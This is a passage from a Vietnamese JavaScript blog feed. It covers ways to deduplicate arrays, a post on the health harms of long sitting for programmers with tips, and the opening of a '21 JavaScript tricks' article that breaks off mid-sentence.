và arr là mảng gốc ban đầu.</p> <p>Một phần tử trong mảng thoả mãn hàm test trên khi và chỉ khi nó là phần tử đầu tiên.</p> <p><strong>Tại sao lại như vậy?</strong></p> <p>Vì phương thức indexOf chỉ trả về chỉ số của phần tử đầu tiên tìm thấy trong mảng.</p> <p>Ví dụ trong mảng arr trên, phần tử 5 xuất hiện ở vị trí số 1 và số 6. Do đó, arr.indexOf(5) sẽ luôn trả về 1, nên chỉ có phần tử 5 ở vị trí số 1 được đưa vào mảng kết quả, phần tử còn lại sẽ bỏ qua.</p> <p>Cứ như vậy, mình sẽ thu được mảng mới mà không có phần tử nào bị lặp.</p> <h3 id="sử-dụng-set-và-arrayfrom" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-set-v%C3%A0-arrayfrom" aria-label="sử dụng set và arrayfrom permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Set và Array.from</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">,</span> <span class="token string">"3"</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ans <span class="token operator">=</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ans<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Expected output: [1, 5, "a", 3, "f", "3", "b", "e"]</span> <span class="token keyword">function</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> set <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>set<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Ý tưởng của phương pháp này bắt nguồn từ định nghĩa của <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a>.</p> <blockquote> <p>The Set object lets you store unique values of any type, whether primitive values or object references.</p> </blockquote> <p>Nghĩa là: Set cho phép lưu giá trị của bất kì các kiểu dữ liệu nào một cách duy nhất. Do đó, bạn chỉ cần sử dụng hàm khởi tạo của Set với đầu vào là array để loại bỏ phần tử bị lặp.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> set <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả thu được sau câu lệnh trên là kiểu Set. Công việc còn lại cần làm là chuyển từ Set sang Array bằng cách sử dụng <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/from">Array.from</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">return</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>set<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="sử-dụng-set-và-toán-tử-spread" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-set-v%C3%A0-to%C3%A1n-t%E1%BB%AD-spread" aria-label="sử dụng set và toán tử spread permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Set và toán tử spread</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">,</span> <span class="token string">"3"</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ans <span class="token operator">=</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ans<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Expected output: [1, 5, "a", 3, "f", "3", "b", "e"]</span> <span class="token keyword">function</span> <span class="token function">deduplicate</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> set <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">[</span><span class="token operator">...</span>set<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Cách này cũng tương tự như cách trên, chỉ khác là mình sử dụng toán tử <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">spread</a> để convert Set sang mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">return</span> <span class="token punctuation">[</span><span class="token operator">...</span>set<span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 6 cách loại bỏ phần tử lặp trong mảng:</p> <ul> <li>Sử dụng mảng thông thường</li> <li>Sử dụng phương thức indexOf để kiểm tra tính tồn tại</li> <li>Sử dụng phương thức includes để kiểm tra tính tồn tại</li> <li>Sử dụng phương thức filter và indexOf</li> <li>Sử dụng Set và Array.from</li> <li>Sử dụng Set và toán tử spread</li> </ul> <p>Nếu bạn có thắc mắc hay góp ý gì thì có thể để lại cho mình trong phần bình luận. Ngoài ra, nếu bạn có cách làm khác nữa thì mong bạn chia sẻ lại với mình nhé!</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/2-cach-tao-immutable-object-javascript/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Tác hại của ngồi lâu và giải pháp cho lập trình viên]]><![CDATA[Đối với dân văn phòng nói chung và lập trình viên nói riêng thì ngồi lâu là việc khó tránh khỏi. Tuy nhiên, đây không phải là một thói quen tốt. Vì vậy, bài viết này mình sẽ nói về…]]>https://completejavascript.com/tac-hai-cua-ngoi-lau-va-giai-phap-cho-lap-trinh-vien/https://completejavascript.com/tac-hai-cua-ngoi-lau-va-giai-phap-cho-lap-trinh-vien/Mon, 01 Jan 2018 13:18:02 GMT<p>Đối với dân văn phòng nói chung và lập trình viên nói riêng thì ngồi lâu là việc khó tránh khỏi. Tuy nhiên, đây không phải là một thói quen tốt. Vì vậy, bài viết này mình sẽ nói về tác hại của ngồi lâu và giải pháp cho lập trình viên chúng ta.</p> <h2 id="nguyên-nhân-của-việc-ngồi-lâu" style="position:relative;"><a href="#nguy%C3%AAn-nh%C3%A2n-c%E1%BB%A7a-vi%E1%BB%87c-ng%E1%BB%93i-l%C3%A2u" aria-label="nguyên nhân của việc ngồi lâu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nguyên nhân của việc ngồi lâu</h2> <p>Việc này đến từ bản chất công việc. Công việc của lập trình viên luôn gắn liền với máy vi tính. Và quan trọng hơn hết là: khi làm việc, lập trình viên luôn rất tập trung và mong muốn giải quyết công việc của mình trước khi đứng dậy làm việc khác.</p> <p>Việc nghỉ giữa chừng có thể làm bạn xao nhãng, quên đi công việc đang làm. Nhưng khi ngồi lâu như vậy thì tác hại đến với chúng ta là rất lớn.</p> <h2 id="tác-hại-của-ngồi-lâu" style="position:relative;"><a href="#t%C3%A1c-h%E1%BA%A1i-c%E1%BB%A7a-ng%E1%BB%93i-l%C3%A2u" aria-label="tác hại của ngồi lâu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tác hại của ngồi lâu</h2> <p>Có một câu nói như này: <em>Chuyển động tạo ra năng lượng</em>. Đúng vậy, con người sinh ra là phải vận động. Việc ngồi lâu lại làm trái quy luật tự nhiên này. Nó dẫn đến những tác hại sau:</p> <ul> <li><strong>Đau lưng</strong>: Ngồi lâu, đồng nghĩa với lưng của bạn sẽ phải chịu lực rất nhiều. Chưa kể việc ngồi không đúng tư thế khiến lưng bạn bị đau nhức. Lâu dần có thể dẫn đến thoái hóa cột sống.</li> <li><strong>Mỏi cổ</strong>: Tương tự như trên, khi bạn ngồi lâu trước máy tính. cổ bạn thường không thẳng. Điều này dẫn đến mỏi cổ và cũng có thể dẫn đến thoái hóa đốt sống cổ.</li> <li><strong>Mỏi mắt, giảm thị lực</strong>: Khi ngồi lâu, mắt bạn sẽ tập trung nhìn vào màn hình máy tính. Khoảng cách nhìn ngắn trong một thời gian dài khiến mắt bị cận thị. Ngoài ra, khi nhìn tập trung, bạn thường sẽ quên việc chớp mắt, khiến cho mắt bị khô, dẫn đến mỏi mắt.</li> <li><strong>Trĩ</strong>: Ngồi lâu là một trong những nguyên nhân gây ra trĩ.</li> <li><strong>Giảm lưu thông máu, hoạt động tiêu hóa kém hiệu quả</strong>: Việc ngồi lâu, ít vận động khiến máu lưu thông kém hiệu quả. Do đó, hoạt động tiêu hóa cũng sẽ kém. Vì vậy, người ngồi lâu dần sẽ bị thừa cân, béo phì, béo bụng,...</li> <li><strong>Dễ mắc bệnh về thận do quên uống nước</strong>: Một ngày con người nên uống ít nhất 2 lít nước. Nhưng nếu bạn quá tập trung, ngồi lâu một chỗ để làm việc thì có thể bạn sẽ quên việc đi uống nước. Điều này dẫn đến các bệnh về thận.</li> <li><strong>Giảm sức tập trung</strong>: Thực tế, sức tập trung của con người là có giới hạn. Thông thường, chúng ta chỉ có thể làm việc tập trung liên tục khoảng một tiếng. Sau đó, sự tập trung sẽ giảm theo thời gian. Vì vậy, khi bạn ngồi liên tục làm việc trong 4 - 5 giờ liền thì thời gian tập trung của bạn cũng là rất ít.</li> </ul> <p>Tác hại của ngồi lâu đúng là rất lớn. Tuy nhiên, làm sao lập trình viên chúng ta khắc phục được điều này mà vẫn đảm bảo hiệu suất, chất lượng công việc?</p> <h2 id="giải-pháp-dành-cho-lập-trình-viên" style="position:relative;"><a href="#gi%E1%BA%A3i-ph%C3%A1p-d%C3%A0nh-cho-l%E1%BA%ADp-tr%C3%ACnh-vi%C3%AAn" aria-label="giải pháp dành cho lập trình viên permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải pháp dành cho lập trình viên</h2> <p>Để giải quyết vấn đề này, mình có một số giải pháp như sau:</p> <ul> <li><strong>Phân chia thời gian hợp lý</strong>: theo mình thời gian làm việc hiệu quả là 50 phút. Vì vậy, chúng ta sẽ tập trung làm việc 50 phút, sau đó nghỉ giải lao 10 phút.</li> <li><strong>Chia nhỏ mục tiêu</strong>: Nếu như mục tiêu của bạn là giải quyết 100% công việc thì khả năng là bạn sẽ ngồi liên tục cho đến khi bạn hoàn thành được đúng 100% công việc thì mới thôi. Vì vậy, bạn cần phải chia nhỏ mục tiêu của mình ra thành nhiều phần. Sao cho mỗi phần có thể giải quyết trong 50 phút. Khi đó, bạn vừa có thể hoàn thành được mục tiêu nhỏ để nghỉ ngơi và cuối cùng vẫn hoàn thành 100% công việc.</li> <li><strong>Uống nước thường xuyên và sử dụng cốc nước nhỏ thay vì bình nước lớn</strong>: Việc uống nước thường xuyên giúp hoạt động tuần hoàn, tiêu hóa của cơ thể diễn ra tốt hơn. Ngoài ra, khi sử dụng cốc nước nhỏ, đồng nghĩa với việc bạn sẽ phải thường xuyên đứng dậy đi lấy nước. Điều này giúp bạn vận động nhiều hơn.</li> <li><strong>Chớp mắt và massage mắt thường xuyên</strong>: Chớp mắt giúp mắt đỡ khô và massage mắt giúp lưu thông máu. Ngoài ra, thỉnh thoảng bạn cũng nên nhìn ra xa để mắt điều tiết, làm việc hiệu quả hơn.</li> <li><strong>Ngồi đúng tư thế</strong>: Ngồi đúng tư thế là vô cùng quan trọng. Ngồi đúng giúp bạn tránh đau lưng, mỏi cổ. Ngược lại, bạn có thể sẽ bị gù lưng.</li> <li><strong>Tập thể dục thường xuyên</strong>: Có người đã nói rằng: <em>Thời gian ngồi càng lâu thì khoảng cách đến nghĩa địa càng gần</em>. Vì vậy, ngoài việc thực hiện những điều trên để tránh tác hại của việc ngồi lâu thì bạn cũng cần phải tập thể dục thường xuyên để giúp cơ thể khỏe mạnh hơn. Bù đắp lại quãng thời gian mà bạn ngồi trong ngày.</li> </ul> <p>Trên đây là một số tác hại của ngồi lâu và giải pháp dành cho lập trình viên. Bạn đọc còn giải pháp nào thì vui lòng để lại dưới phần bình luận nhé.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[3x7 = 21 thủ thuật JavaScript hữu ích]]><![CDATA[Trong bài viết này, mình sẽ chia sẻ với các bạn 21 thủ thuật JavaScript hữu ích. Qua đó, bạn có thể viết code ngắn gọn hơn và cảm thấy yêu ngôn ngữ lập trình JavaScript hơn. Tạo…]]>https://completejavascript.com/21-thu-thuat-javascript-huu-ich/https://completejavascript.com/21-thu-thuat-javascript-huu-ich/<![CDATA[DOM]]><![CDATA[ES6]]><![CDATA[JSON]]>Mon, 01 Jan 2018 00:00:31 GMT<p>Trong bài viết này, mình sẽ chia sẻ với các bạn 21 thủ thuật JavaScript hữu ích. Qua đó, bạn có thể viết code ngắn gọn hơn và cảm thấy yêu ngôn ngữ lập trình JavaScript hơn.</p> <h2 id="tạo-hàm-query-dom-ngắn-gọn-hơn-với-bind" style="position:relative;"><a href="#t%E1%BA%A1o-h%C3%A0m-query-dom-ng%E1%BA%AFn-g%E1%BB%8Dn-h%C6%A1n-v%E1%BB%9Bi-bind" aria-label="tạo hàm query dom ngắn gọn hơn với bind permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo hàm query DOM ngắn gọn hơn với bind</h2> <p>Có thể bạn thừa biết, JavaScript cung cấp phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector">document.querySelector()</a> cho phép bạn query <a href="/co-ban-ve-dom-javascript/">DOM</a> dựa trên selector. Tuy nhiên, việc sử dụng phương thức này khá dài dòng. Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> ele1 <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#id1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ele2 <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".class2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ele3 <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"div.user-panel.main input[name='login']"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Bạn có thể lợi dụng phương thức <a href="/phan-biet-call-apply-va-bind-trong-javascript/">bind</a> để rút gọn phương thức này:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> $ <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>document<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Usage</span> <span class="token keyword">let</span> ele1 <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#id1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ele2 <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">".class2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ele3 <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"div.user-panel.main input[name='login']"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây, mình đặt tên hàm mới là $, nên bạn nhìn thấy nó giống với jQuery, nhưng nhớ rằng đây vẫn chỉ là JavaScript thuần mà thôi.</p> <h2 id="rút-gọn-hàm-consolelog" style="position:relative;"><a href="#r%C3%BAt-g%E1%BB%8Dn-h%C3%A0m-consolelog" aria-label="rút gọn hàm consolelog permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Rút gọn hàm console.log</h2> <p>Tương tự như trên, bạn cũng có thể sử dụng bind để rút gọn phương thức console.log như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> log <span class="token operator">=</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>document<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => hello</span></code></pre></div> <h2 id="sao-chép-clone-object" style="position:relative;"><a href="#sao-ch%C3%A9p-clone-object" aria-label="sao chép clone object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sao chép (clone) object</h2> <p>Mời bạn xem ví dụ sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> obj1<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj2 <span class="token operator">===</span> obj1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> obj2<span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> obj2<span class="token punctuation">.</span>b <span class="token operator">=</span> <span class="token number">20</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj1<span class="token punctuation">.</span>a<span class="token punctuation">,</span> obj1<span class="token punctuation">.</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 10, 20</span></code></pre></div> <p>Bạn có thể thấy là obj2 thực chất là tham chiếu của obj1. Khi obj2 thay đổi thì obj1 cũng sẽ bị thay đổi. Để có thể clone object, tạo ra một object hoàn toàn mới, bạn có thể làm theo 2 cách sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// shallow clone an object</span> <span class="token keyword">let</span> newObj <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span> obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// deep clone an object</span> <span class="token keyword">let</span> newObj <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="hoán-đổi-giá-trị-2-số" style="position:relative;"><a href="#ho%C3%A1n-%C4%91%E1%BB%95i-gi%C3%A1-tr%E1%BB%8B-2-s%E1%BB%91" aria-label="hoán đổi giá trị 2 số permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hoán đổi giá trị 2 số</h2> <p>Để có thể hoán đổi giá trị 2 biến số trong JavaScript, bạn có thể làm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">,</span> y <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1, 2</span> <span class="token punctuation">[</span>x<span class="token punctuation">,</span> y<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span>y<span class="token punctuation">,</span> x<span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2, 1</span></code></pre></div> <h2 id="đặt-giá-trị-mặc-định-cho-tham-số-của-hàm" style="position:relative;"><a href="#%C4%91%E1%BA%B7t-gi%C3%A1-tr%E1%BB%8B-m%E1%BA%B7c-%C4%91%E1%BB%8Bnh-cho-tham-s%E1%BB%91-c%E1%BB%A7a-h%C3%A0m" aria-label="đặt giá trị mặc định cho tham số của hàm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đặt giá trị mặc định cho tham số của hàm</h2> <p>Có hai cách để làm việc này:</p> <p><strong>ES5: sử dụng toán tử 